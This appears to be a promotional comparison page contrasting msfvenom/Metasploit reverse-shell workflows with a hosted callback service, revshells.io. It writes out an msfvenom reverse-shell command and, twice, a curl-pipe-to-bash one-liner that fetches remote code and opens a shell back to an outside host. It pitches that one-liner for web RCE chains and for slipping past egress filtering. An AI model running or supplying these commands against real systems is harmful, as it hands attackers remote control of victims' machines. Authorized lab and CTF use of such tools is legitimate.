MSFvenom alternative: webhook callbacks on revshells.io
Metasploit's msfvenom + multi/handler workflow generates a staged payload and expects you to run a listener on a reachable IP and port. revshells.io flips that into a session-per-callback URL model — closer to webhook.site, but for interactive shells.
Typical msfvenom flow
- Generate:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=… LPORT=… - Start handler:
use exploit/multi/handler, set payload, run - Deliver payload, hope egress/firewall allows your TCP port
- One listener per engagement; rotate LHOST/LPORT when infra changes
revshells.io flow
- Create a session on revshells.io — get a UUID callback path
- Deliver a one-liner:
curl -fsSL https://revshells.io/UUID/revshell | bash - Target calls back over HTTPS/WSS (443) to revshells.io
- Attach from the browser terminal or
rsctl attach— no separate handler process
When revshells.io is a better fit
- CTF / quick labs: no VPS listener, no port forwarding
- Web RCE chains: curl/bash/python one-liners instead of dropping binaries manually
- Shared ops: multiple operators attach to the same session from browser + CLI
- Egress-friendly: outbound HTTPS often allowed where arbitrary TCP reverse ports are not
When msfvenom still wins
- Staged Windows PE payloads, AV evasion, custom encoders
- Integrated post-exploitation modules in Metasploit
- Non-HTTP C2 protocols you explicitly control
Try it
Create a session, run the bootstrap on a lab box, and compare setup time to generating and handling an msfvenom payload.
# on target (authorized lab only) curl -fsSL https://revshells.io/YOUR-SESSION-ID/revshell | bash
